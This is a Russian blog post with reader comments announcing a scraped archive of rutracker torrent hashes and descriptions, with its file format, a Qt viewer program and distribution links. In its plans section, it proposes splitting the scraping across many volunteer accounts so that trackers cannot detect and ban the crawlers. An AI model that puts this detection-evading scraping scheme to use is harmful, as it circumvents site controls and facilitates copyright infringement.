К сожалению, решить проблему своими силами у меня не хватило ни времени, ни, будем откровенны, знаний. Но, к счастью, мои слова возымели действие на людей, которые и тем и другим обладают. В итоге эти люди организовались и сообща сделали то, о чём так долго говорили большевики о чем я писал, а именно с помощью скриптов обошли рутрекер, сдампили все описания раздач с хешами, распарсили их и скомпоновали в удобную для употребления базу. В дополнение к этому так же была написана «морда»: программа для удобной работы с базой конечных пользователей, не знающих с какого конца держат grep. К сожалению, аккаунта на хабре никто из этой команды не имеет (если не считать read-only), в песочнице статья могла бы потеряться, поэтому меня выбрали как рупор для данной площадки. Я, честно говоря, раздумывал совсем недолго и только над тем, как правильнее все сделать. Если будут какие-то вопросы — задавайте мне в комментах, я либо отвечу сам, либо переадресую разработчикам. Технические тексты от первого лица, но я имею к ним косвенное отношение, они оставлены в таком виде для простоты восприятия.

Прежде, чем перейти к технической части и ссылкам, хотел бы добавить, что весь смысл этой затеи в том, чтобы как можно больше людей сохранили эту базу к себе. Поэтому очень Вас прошу, скачать данные по ссылкам ниже (желательно использовать торрент) и оставаться на раздаче как можно дольше. Скорее всего в будущем база будет обновляться, но этот момент еще не продуман до конца.



Описание формата хранения базы раздач

Число раздач в базе: 1411636

Имеется два места хранения: таблица и база описаний.

В таблице хранится номер раздачи на рутрекере, название раздачи, приблизительный размер в байтах, число сидов, число пиров, хеш в формате base32, число скачиваний и дата обновления раздачи. Размер раздачи приблизительный, так как он был получен парсингом строк вида «2.05 GB». К сожалению, не было найдено способа узнать точный размер из исходного кода страницы раздачи. Название раздачи закодировано в UTF-8, чтобы на системах, где стандартной является эта кодировка, файл можно было смотреть less'ом без дополнительных манипуляций. Хеш раздачи в base32, чтобы занимало меньше места. В графической программе для просмотра базы есть возможность переключения отображения хеша (в том числе, в magnet-ссылках) на HEX. Разделитель полей: TAB. Все пробельные символы в именах раздач заменялись на пробелы. Все HTML-конструкции в названиях заменялись на соответствующие символы юникода, это ещё одна из причин, почему от cp1251 отказались в пользу UTF-8. Дата кодируется в формате: «16-Jul-11 06:23». Английские названия месяцев выбраны, чтоб было меньше заморочек с парсингом.
Пример:
4085734 [x86] Ubuntu 12.04 Classic Remix        1170378588      206     3       Y4R4DX74NPXBKU6NECLJLV2N733F2NBW        20911   06-Jun-12 13:02


База описаний представляет собой коллекцию tar.gz-файлов, в каждом из которых лежат раздачи с шагом номера 1000. gzip выбран из-за скорости и неприхотливости к объему оперативной памяти. Архивные файлы сгруппированы по 100 штук в папки. Описание раздачи с номером 1234567 лежит в файле 012/01234.tar.gz/01234567 в кодировке UTF-8.

Программа

Исходники. Лицензия GNU GPL v2. Присылайте пулл-реквесты.

Программа написана на языке C++ с использованием библиотек Qt и kdelibs (для работы с архивами). Главная часть программы это таблица, в которой отображаются раздачи (используется QTableWidget). Сверху имеется поле для ввода поисковой фразы. Поиск (чтение файла с таблицей и отбор подходящих строк) происходит в отдельном потоке выполнения (thread), результаты порциями отправляются в основной поток, добавляющий новые строки в таблицу. Для передачи результатов между потоками используется соединение типа Qt::QueuedConnection. Когда файл дочитан до конца или отобрано необходимое число результатов, то в основной поток отправляется сообщение о том, что поиск завершен. После этого таблица пересортировывается. Прервать поиск можно кнопкой Стоп, расположенной сверху во время поиска.

Файл с таблицей может быть сжат в gzip, bzip2 или lzma/xz (под windows, к сожалению, последний вариант не поддерживается в нашей сборке). Файл распаковывается и просматривается на лету, без полной распаковки и создания временных файлов. Это реализовано при помощи класса KFilterDev из библиотеки kdelibs. Было выяснено, что gzip и xz дают намного лучшую скорость распаковки, чем bzip2, поэтому от последнего отказались при выборе формата, в котором база будет распространяться. Gzip показал скорость, в разы большую xz, и присутствовал на windows в используемом варианте библиотеки kdelibs. Поэтому выбор пал на gzip, несмотря на проигрыш в сжатии в полтора раза. Пользователь может распаковать таблицу самостоятельно или использовать соответствующую опцию меню, чтобы хранить на диске таблицу без сжатия. Кстати, не факт, что это приведет к ускорению поиска, так как больший объекм данных будет считываться с жесткого диска при поиске, а чтение с жесткого диска может быть медленнее, чем распаковка gzip.

Рассмотрим таблицу. Думаю, значение столбцов не нужно объяснять. По всем столбцам можно сортировать, а по умолчанию результаты отсортированы по количеству загрузок. Для реализации сортировки пришлось наследоваться от QTableWidgetItem и определять операцию сравнения.

Если дважды щелкнуть по любой ячейке, значение в ней выделяется и становится пригодным для копирования.

Для просмотра описания раздачи — щелкните левой кнопкой мышки в любое поле, кроме номера раздачи и хеша. Описание будет отображено снизу (при помощи QWebView).
Для загрузки страницы с раздачей и отображения её снизу, щелкните по номеру раздачи. Для копирования URL раздачи, щелкните по её номеру правой кнопкой мыши.
Сделать так, чтобы при нажатии правой кнопки мыши в ячейке с номером и хешом раздачи появлялось контекстное меню с пунктом «Скопировать ссылку», не удалось. Может быть, кто-нибудь из читателей знает, как можно этого добиться от QTableView. Впрочем, можно оставить как есть, так как нажать правую кнопку мыши быстрее, чем выбирать пункт из контекстного меню.

Реализация перехвата событий мыши на ячейках выполнена путем наследования от QItemDelegate и определения editorEvent. Получение описания из соответствующего tar.gz реализовано средствами класса KTar из библиотеки kdelibs.

Программой можно пользоваться, не располагая базой описаний раздач, тогда просмотреть описание можно будет только через сайт, нажав по номеру раздачи.

Настройки программа хранит в файле dump_viewer.ini, расположенном в папке с программой.
Инструкции для сборки программы для ОС Debian GNU/Linux и ОС Windows находятся в файле INSTALL.

В ходе разработки программы забавный казус вышел с парсингом дат. Формат даты «16-Jul-11 06:23» нестандартный, но он был оставлен, потому что довольно краткий, читаемый и похож на тот, который использует rutracker в своей выдаче. Оказалось, что QDateTime::fromString ожидает локализованные обозначения месяцев (Янв вместо Jan в русскоязычном окружении). Поэтому пришлось написать костыль, конвертирующий текстовые обозначения месяцев в числовые (Jan -> 01).

Зачем мы это сделали?

База была подготовлена, чтобы облегчить доступ пользователей к раздачам в случае проблем с доступностью сайта трекера. Например, когда выводится сообщение «форум временно отключен». Кроме того, эта раздача пригодится, если трекер будет внесен в список заблокированных сайтов. Не хочется, чтобы был даже мельчайший шанс того, что всё, что мы тут вместе сделали за эти годы, потерялось по прихоти чиновников или из-за поломки сервера, к примеру. Пока жива данная раздача, все раздачи трекера тоже живы. Вероятно, раз в месяц нужно будет обновлять эту раздачу.

rutracker же написал, что шифрованная раздача у них на трекере лучше!
Ответ: (подробнее тут и тут)
а) У нас есть описания раздач. Часто сложно бывает выбрать, например, BDRip, не глядя в описание. Ужимается база всех описаний до ~2 гигабайт. Можно было ужать сильнее, но решили не экономить в ущерб скорости работы «морды». (На самом деле есть еще несколько мыслей по оптимизации, но пока решили, что лучшее враг хорошего. Однако ж идеи и коммиты привествуются!)
б) Даже если группа людей, которая знает пароль, распределена по всему миру — это конечная группа людей, которую можно вычислить и обладая нужными ресурсами купить или запугать.
в) Администрация рутрекера и лично intellect бесспорно бесконечно честные люди, но пока я сам не увижу, что в раздаче именно база рутрекера, а не зашифрованный белый шум — я никому не поверю. Уж извините.
г) Нет проблемы фейковых сайтов и поддельных магнитных ссылок. Базу может сделать не только администрация (наша база тому пример), так что шифрованность базы на рутрекере не спасает. А валидность хешей в базе проверяется либо по контрольным суммам (с GPG-подписью), либо банальным сравнением с самим рутрекером (если он все еще доступен).
д) Для того, чтобы в базе были актуальные раздачи — базу банально надо обновлять. Чем чаще, тем лучше. И если администрация рутрекера действительно заботится о том, чтоб пользователи получали актуальную информацию, надеюсь они не будут чинить препятствий в обновлении нашей базы. А то и помогут, чем черт не шутит.

Дальнейшие планы

Следующий логичный шаг — сделать генератор HTML[PHP]-сайта, дублирующего функциональность программы и базы. После этого мы хотим замахнуться на статическую реализацию всех частей сайта, то есть чистый HTML/CSS/JS, без PHP или подобной серверной логики. Это позволит заливать сайт практически на любой хостинг, в том числе бесплатный, что сделает в принципе невозможным искоренение данной базы из сети. На тему реализации поиска на JavaScript уже есть идеи (к примеру, сделать индекс раздач по словам, разбить его на отдельные файлы, балансируя между средним размером одного файла и общим числом файлов). Можно добавить и полноценную реализацию поиска на стороне сервера. К сожалению толковых веб-разработчиков у нас нет, ищутся желающие.

Проделать подобное для других трекеров. Для пиратской бухты уже сделали. Когда база данных рутрекера будет дочищена, можно перейти к другим отечественным и иностранным трекерам. Можно подумать, как все базы объединить в одну (видимо, по файлу на трекер, чтобы было удобно выбирать нужные трекеры при скачивании).

Распределенное обновление базы раздач. Разумеется, нужно периодически обновлять базу: добавляются новые раздачи, обновляются старые. А почему бы не переложить задачу обновления на пользователей? Само собой, тех, кто на это согласится. Во-первых, наши каналы не резиновые, чтобы самим постоянно дампить трекер(ы). Во-вторых, трекеры нескольких пауков могут и обнаружить с последующим баном и, возможно, разбирательством. а если пауков будет 100, то каждый из них будет забирать новые раздачи слишком медленно, чтобы это можно было обнаружить. Для пользователя это будет выглядеть как пункт в программе «Принять участие в обновлении базы» и ввод данных для входа в свой аккаунт. Дальше программа всё сделает сама. Найденные свежие раздачи и изменения в старых будут отправляться в центр, который после их проверки будет добавлять данные в общую базу.
Кстати, интересная задачка по теории вероятности: если N раздач наугад качают M независимых пауков со скоростью X раздач в сутки, то через какое время (ожидаемое) они выкачают долю Y всех раздач?

Ссылки и контакты

bitbucket (исходники и база раздач без описаний)
mega.co.nz (только база описаний, распаковать основной tar в папку с программой)

Торренты (все в одном):
i2p (в процессе заливки и индексации)
Магнитная ссылка
magnet:?xt=urn:btih:KY33A26BTGUNAE2D3YWET3UYYGFPP4QU&dn=release&tr=http%3a%2f%2fannounce.opensharing.org%3a2710%2fannounce&tr=udp%3a%2f%2ftracker.publicbt.com%3a80%2fannounce&tr=udp%3a%2f%2ftracker.openbittorrent.com%3a80

opensharing
rutracker

sha256-хеши всех файлов раздачи: sha256.txt
актуальный sha256.txt и sha256.txt.asc можно взять в торренте и тут.
GPG fingerprint: C567 227F 6D75 014E CDC0 FE7B E0F9 25D1 E020 95A4
e-mail: sir.ratnik@yandex.ru
Jabber: sir.ratnik@ya.ru
Jabber-конференция: torrents-database@conference.jabber.no
OTR fingerprint: 7503B021 02E30FEA 88861B43 7AB21676 35704DBA
GPG-key
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.4.12 (GNU/Linux)

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
=Peeh
-----END PGP PUBLIC KEY BLOCK-----


P.S. Хотелось бы выразить благодарность команде LAVteam за техническую поддержку.
UPD: Так же большое спасибо init0 за инвайт для непосредственного представителя команды разработчиков — ratnik0. Вы не однофамильцы, кстати? ;)
UPD2: Если у кого-то под виндой программа требует ssleay32.dll, то Вам поможет установка библиотек openssl.
UPD3: Создали джаббер-конференцию для координации сочувствующих и обсуждения дальнейших планов: torrents-database@conference.jabber.no
UPD4: Кто голосовал за дамп порнолаба? Нужна Ваша помощь — ждем в конференции.
UPD5: rutor удалил раздачу без объяснения причин.
MAXH0
Классное дело!
Приеду домой — скачаю и поставлю на раздачу.
MAXH0
Кстати, еще по ситуации с Либрусеком думал о неком универсальном каталоге торрентов… По аналогии с библиотечным. Т/е карточка (файл) содержащая описание, магнет-ссылку и некий уникальный код сродни библиотечному классификатору.

Потом просто мозга не хватило додумать до конца (или просто мысль была глупая)

SLY_G
Этим рутрекер и занимается.
x256
Интересно, есть ли смысл интегрировать данные действия для поддержания актуальной распределённой базы в известный торрент-клиент (менеджер закачек)? Чтобы юзеры тупо включали одной опцией? Ещё интересно: это легально?

К сожалению, клиент пока не кроссплатформенный, а только для винды. Но он почти опенсорсный, поэтому если есть желающие внести в свой вклад, пишите.
Koncopd
Прекрасно. А вытащены ли хэши заблокированных правоторговцами раздач?
J_o_k_e_R
Нет, конечно. Использовались только публично доступные простому пользователю данные. Зато ни одна из существующих раздач не пропадет.
ZUZ
Хы! Можно договориться, что будете дампить например в последнее воскресенье каждого месяца в полночь по Москве. Чтобы народ вечером побольше накидывал «сомнительных для правообладателей» раздач :)
esc
еще мы инкрементно, чтобы можно было держать всегда актуальную раздачу.
J_o_k_e_R
Обновления однозначно будут инкрементными. Точнее final.txt.gz может быть и будет новый, а толстую базу с описаниями мы поэтому и раздаем отдельно, чтоб скачивать можно было только обновленные части.
Finom
Наверно, вопрос в том, выкачиваются ли непроверенные раздачи (в последствии закрытые правообладателями). Спасибо за работу, очень круто.
overmes
Здорово!
распределенный торрент-трекер распределенных данных
AnimaLocus
А ведь можно сделать полностью независимую базу с p2p обновлением и возможностью добавления контента пользователями. :)
Т.е. некий распределенный аналог базы трекера.
J_o_k_e_R
Присылайте пулл-реквесты.
lucius
Может BitTorrent Sync?
J_o_k_e_R
closed source.
lucius
Я имел ввиду, что нужно обратить внимание на механизм обновления содержимого.
SLY_G
eDonkey?..
Vilgelm
Только если систему скачивания и рейтинга этой системы изменить, а то там можно один файл было скачивать год-полтора.
Foxcool
Еще бы как-то сделать так, чтобы все раздачи в I2P запустить на всякий случай.
noonesshadow
Рутрекер очень прибыльный бизнес, а вы предлагаете им сдать главный актив. Конечно они против.
J_o_k_e_R
Ну rutracker тут упорно нас пытается убедить, что дело не в «крутении баннеров».
spmbt
Уже пусть не беспокоятся. Их же спасать пришли1
track
Я не слышал, чтобы они звали на помощь.
Mezomish
Проблема в том, что есть нехилая вероятность, что когда они будут звать на помощь, будет уже поздно.

— Может вызвать подкрепление?
— Еще рано.
Через пару минут:
— Может вызвать подкрепление?
— Еще рано.
Через пару минут:
— Может все-таки вызвать подкрепление?
— Уже поздно
(из к/ф «На Дерибасовской хорошая погода»)
track
«Спасение» тех, кто о помощи не просил, все же называется как-то по другому, не так-ли?
Nashev
«Спасают» же не рутрекер, а их базу… Хотя, спасение чужих ценностей тоже имеет разные названия…
track
Вы имеете ввиду «экспроприацию экспроприаторов», я полагаю? ;)
shara
Предотвращение аннигиляции
track
Для аннигиляции, как говорит нам физика, необходим антирутрекер равной массы.
Nashev
Роскомнадзор, видимо, пока имеет недостаточную массу, но надолго ли?..
sluge
Этому же самому хотят нас убедить многочисленные копирасты
SLY_G
А там есть баннеры? Не знал.
AterCattus
ADBlock заботится о нас
DenisVitman
17 банеров, 20 млн. просмотров главной страницы в день. Это не меньше 1 млн. рублей выручки в месяц. Хороший приятный доходик…
skazo4nik
думается мне, вы их здорово недооцениваете
track
Это по нижней границе оценка, по факту там конечно же куда больше.
DenisVitman
Конечно по нижней, но чтобы гарантированно «не придрались», что я завышаю доходы. Но даже при этой цифре — это вполне себе живой и прибыльный бизнес. И довольно наивным выглядит предложение «отдать» этот бизнес общественности. Ну и возникают резонные сомнения в «бесскорыстной борьбе с цифровым неравенством».
unOlm
Не уверен что 'борьба' которая берет деньги не понятно откуда будет более бескорыстна.
Банально но факт — самые ярые борцы не едят радугу и, простите, не испражняются бабочками.

Не знаю какой процент их деятельности 'борьба' но без какой либо финансовой базы, думается мне, все равно сделать ничего нельзя.
dimka_ua
обожаем мы чужие деньги считать.
запустите свой трекер — и гребите бабло лопатой — все так просто =)
track
Речь же не про это, а про то, что некоторые считают, что владельцы rutracker перкраснодушные бессеребренники, с единственнной целью — радение за свободу информации с интернете. Нет, чуваки просто оседлали хорошую трубу с деньгами, и совершенно не намерены ей ни с кем делиться.
rutracker
Если вы способны продать это за столько — идите к нам рекламным агентом. На процент кототорый устроит вас.
Если вам кажется, то, как говорят в таких случаях — креститься надо.
spmbt
Ну всё — завтра новостные сайты разразятся заголовками: у пиратов спиратили их базы данных и выложили в открытый доступ, несмотря на их противодействие!
NeoCode
Вот это вы молодцы!
На самом деле вы весьма с неожиданной (и очень правильной!) стороны подошли к созданию Распределенного Интернета (да, именно так, ни больше ни меньше). Ведь если эту программу объединить с самим торрент-клиентом, то можно научиться обмениваться базой распределенно, минуя какие-либо центры. И качать торренты можно было бы прямо из программы. И комментировать их — прямо тут же (а отсюда один шаг до распределенного форума или даже социальной сети).
А огромная база торрентов — это то, что привлечет массы простых пользователей. То, чего так не хватает всяческим i2p.

kekekeks
Суть в том, что именно централизация и наличие модерации — главная фишка рутрекера. Очень хорошие правила оформления раздач. В случае с распределённой базой получится помойка типа eD2k.
reaferon
Модерация раздач, в принципе, может быть социальной и саморегулируемой.
rutracker
А она сейчас какая? Социальная и саморегулируемая и есть. Т.е вы лично можете прочитав правила «как стать модератором» тоже стать модераторам, модерировать раздачи и учавствовать в написании правил «как стать модератором» для тех кто тоже хочет стать модератором.
Также, став модератором вы можете прочитать правила «как стать админом»…
ratnik0
Я думаю, имелась в виду децентрализованная модерация, при которой каждый мог бы «голосовать» за или против раздачи, возможен вес голоса в зависимости от количества отданного, к примеру. Раздачи сортировались бы в выдаче согласно оценкам пользователей. На хабре много раз обсуждали, как это правильно сделать. Что важно, ни у кого технически не должно быть возможности повлиять на результаты «голосования» и ни одна раздача не была бы удалена полностью.

Хочу провести аналогию. Сравните обычный банк и bitcoin. В первом случае власти могут лишить человека его денег, во втором случае это невозможно и есть возможности для дальнейшего усложнения, например шифрование кошелька и использование bitcoin через прокси. Разница между нынешней системой модерации rutracker и желаемым вариантом такая же: на rutracker могут нагрянуть копирастеры (аналог властей в случае с банком из примера выше), а с распределенной системой голосования они ничего сделать не смогут. Кроме того, голосование никогда не сможет уничтожить раздачу, оно упустит её в самый конец выдачи. Поэтому различные маргиналы, хотя и будут висеть в конце списка, но не будут удалены по крайней мере.
betrachtung
>Очень хорошие правила оформления раздач.
Не знаю, как в остальных разделах дела обстоят, но музыкальный раздел рутрекера — помойка с букетом левых форматов, битыми тегами и фактическим отсутствием стандартов оформления.
Если под оформлением раздачи иметь в виду сообщение натрекере форума — там да, там всё красиво, обложечка приложена и списочек к ней. А вот сама музыка на трекер попадает в каком угодно виде — например, с того же осла и взятая. В итоге при выборе между приведением в порядок музыкальной коллекции, скачанной с рутрекера, и скачиванием её заново с what.cd второй вариант оказывается куда более простым, несмотря на все сложности поддержания рейтинга на закрытых трекерах.
И пока правила устанавливаются и их соблюдение контролируется людьми, выдающими фразы вроде «а я всё равно все альбомы записываю на диски, поэтому мне приятней, что всё одним файлом, и, раз диск один, то и файл должен быть один», порядка в музыкальных разделах рутрекера нет и не будет.
J_o_k_e_R
музыкальный раздел рутрекера — помойка с букетом левых форматов, битыми тегами и фактическим отсутствием стандартов оформления.


Друг! Я прослезился, жму руку, говорю Вам БОЛЬШОЕ спасибо! Как же они меня задрали своими идиотскими недоправилами, который высосаны хз откуда при этом не регламентируют то, что надо. За раздачу музыки в образах в наше время цифровых плееров надо принудительно обрекать уродов, которые это придумали на прослушивание целого альбома склееного в mp3 96k, причем, ествествено без cue.
И если за зарубежной музыкой можно давно уже спокойно ходить на вату, то российскую музыку приходится качать и дорабатывать напильником, наждачкой и рубанком прежде, чем придет во вменяемый вид.
reff
Некогда там было правило, запрещающее раздавать архивы.
Nixi
Ведь если эту программу объединить с самим торрент-клиентом, то можно научиться обмениваться базой распределенно, минуя какие-либо центры. И качать торренты можно было бы прямо из программы.

Чем-то мне напомнило это e-mule. Там был реализован поиск прямо из программы. И там было много видео файлов, с названиями фильмов, мультфильмов, а на самом деле эти файлы были порно видео. На трэкерах есть модераторы которые проверяют соответствие описания тому, что там лежит и не допускают появления таких ситуаций.
esc
Можно сделать взаимодействие и модерацию такую-же как и на сайте, просто обмениваться данными не через http.
Проблема одна, всем пользователям прийдется ставить новый софт, вместо браузера.
bay73
Ну некоторые браузеры уже сейчас p2p поддерживают. И число таких браузеров будет расти. Так что можно обойтись уже и без установки нового софта.
esc
А что за технология? некоторые браузеры — типа стандартного ФФ и Хрома или типа Firefox for tor, переделанные?
shara
esc
От блокировки ресурса таким образом спастись не выйдет. Все равно, должен быть какой-то центральный хост с скриптами, на который нужно зайти пользователю. Хотя, конечно, можно просто эти скрипты распространять как и программу (в виде локального файла, который открывается браузером), но мне такой подход чем-то не нравится. Возможно тем, что скрипты будут править все кто не лень на свой лад, в программе все-же сложнее поковыряться. Хотя это такой-себе аргумент.
shara
Можно просто подсети сканировать и на github сбрасывать
А скрипты — плагин к браузеру же. Можно прям на imdb сидеров и магнеты отображать :)
esc
github забанят (веб, по крайней мере).
shara
Кишка тонка, кеш гугла до сих пор никто не забанил, а там экстремизма хоть отбавляй, не то, что цифры какие-то
esc
Чего тонка? тут все зависит от интереса. Перекрыть кэш гугла, кстати, просто и особо возмущений это не вызовет. Особенно если перекрывать конкретные ссылки. Просто не надо было пока никому. Но нельзя считать, что так будет всегда.

github закроют очень быстро, там выкладывать подобную информацию. Сделать это намного проще, чем с кэшем (технически).
shara
Невозможно конкретные ссылки, https
Гитхаб тоже опасно закрывать. Неизвестно ещё к чему приведёт ярко выраженная ненависть айтишников
esc
Когда невозможно конкретные ссылки, обычно что делают, напомните?
shara
Расстреливают всю деревню
esc
Верно, github грохнут целиком.
shara
Ответ айтишников мира не заставит себя ждать
ratnik0
Заблокировать ресурс, хостящий такой скрипт, — это как заблокировать сайт загрузки uTorrent. А если это и сделают, то будет написано расширение для браузеров, включающее этот скрипт.
esc
Нет, не тоже самое. utorrent это просто программа, ей что угодно можно качать. А скрипт этот приводит к генерации сраницы с определенным контентом. Если контент пиратский, страница со скриптом пойдет в бан. В принципе, для пользователя это так и выглядит, зашел на страницу, получил сайт с торрентами. Детали доставки это уже нюансы.
ratnik0
Я думаю, скрипт, выполняющий роль клиента, будет хоститься отдельно от контента. Контент будет хоститься в самой сети, в которой будет возможен поиск по названию раздачи, чтобы опять не назначать эту задачу трекерам, делая их уязвимым звеном. И заодно встроить обязательное проксирование минимум через 1 участника сети и обязательное шифрование, чтобы копирастеры не могли приставать к сидам. Будет падение производительности сети в 2 раза, но расходы копирастеров на борьбу с такой сетью вырастут намного больше и борьба с файлообменом прекратится.
esc
Забанят хост, где лежит скрипт. Так, что простые пользователи не смогут получить к нему доступ. «информационный посредник».

По сути, это ничем не отличается от того, чтобы завести сайт с торрентами на каком-то секретном сервере и проксировать его через какой-то другой «публичный» хост. Публичный хост забанят, а секретный сервер никто и искать не будет.

Если делать, то уже без центральных точек, тем более, работающих по http протоколу.
NeoCode
Все правильно. В идеале, пользователи сами должны модерировать раздачи. Разные пользователи долдны иметь разный «ранг», который можно также назвать коэффициентом доверия.
Два предельных случая: отсутствие модерации и помойка — когда все пользователи равны.
Жесткая модерация — сиутация когда у простых пользователей ранг 0, а у модераторов ∞.
Конечно, приятнее когда порядок, т.е. ситуация, близкая к жесткой модерации (но не совсем жесткая).
Даже здесь на Хабре используется подобная система (правда, упрощенная). Если бы «рейтинг» пользователя учитывался при оценивании им статей (т.е. вместо "+1" и "-1" было бы "+1 * exp(Rating/C)" и "-1 * exp(Rating/C)", то было бы интереснее:)
shara
Прекрасно! Давно пора было сдампить его.
jonywtf
Когда-то давно делал парсер еще для торрентс.ру…
Изображения с раздач на данный момент сохраняются?
В удобном виде, думаю, администрация так просто не отдаст)
Слишком много ценного контента в одном месте! Даже после теоретического прикрытия рутреккера не будет смысла выкладывать пароль… можно свою базу запустить на новом хосте. Но, надеюсь, я ошибаюсь)
В любом случае пока нету официального полного дампа без всяких паролей нужно парсить своими силами…
J_o_k_e_R
Изображения с раздач на данный момент сохраняются?


Нет. Только текст. Изображения бы в разы увеличили объем базы.
jonywtf
Хотелось бы и картинки… дополнением к основной базе
Лишних пару десятков гигов под такое дело редкий айтишник пожалеет)
esc
А ссылки на них? ссылки можно потом отдельно скачать (распределенно) и отдельной раздачей оформить.
J_o_k_e_R
Ссылки естественно есть в описаниях. Описания — это целиком html всей раздачи.
esc
Ага, это лучше уже. Жаль, что там, наверное, половина мертвых, на всяких фотохостингах.

Хотя, для видео скрины не так критичны, их нарезать можно автоматом, если очень прям нужно. Для игр взять из публичных источников. С софтом, сложнее, конечно…
SilentImp
/me взял попкорн и ждет
VBKesha
Неплохо было бы ещё дампить название раздела откуда берётся раздача для каталогизации.
J_o_k_e_R
Полностью согласен. Думаю сделаем в следующих версиях.
ICELedyanoj
Я давно пользуюсь своей софтиной, которая каталогизирует рутрекеровскую базу аудиокниг. Естественно с древовидным представлением по жанрам, авторам и другими плюшками. При обновлении парсит рутрекер, вытаскивает описание книг, первую страницу с отзывами и т.д. и складывает в локальную БД. После этого можно лопатить каталог, искать интересные книги. Когда книга найдена — кнопка «Скачать», которая скачивает торрент-файл и автоматически скармливает его uTorrent, так, чтобы раздача попала в нужную папку на диске (с деревом папок по авторам и жанрам).
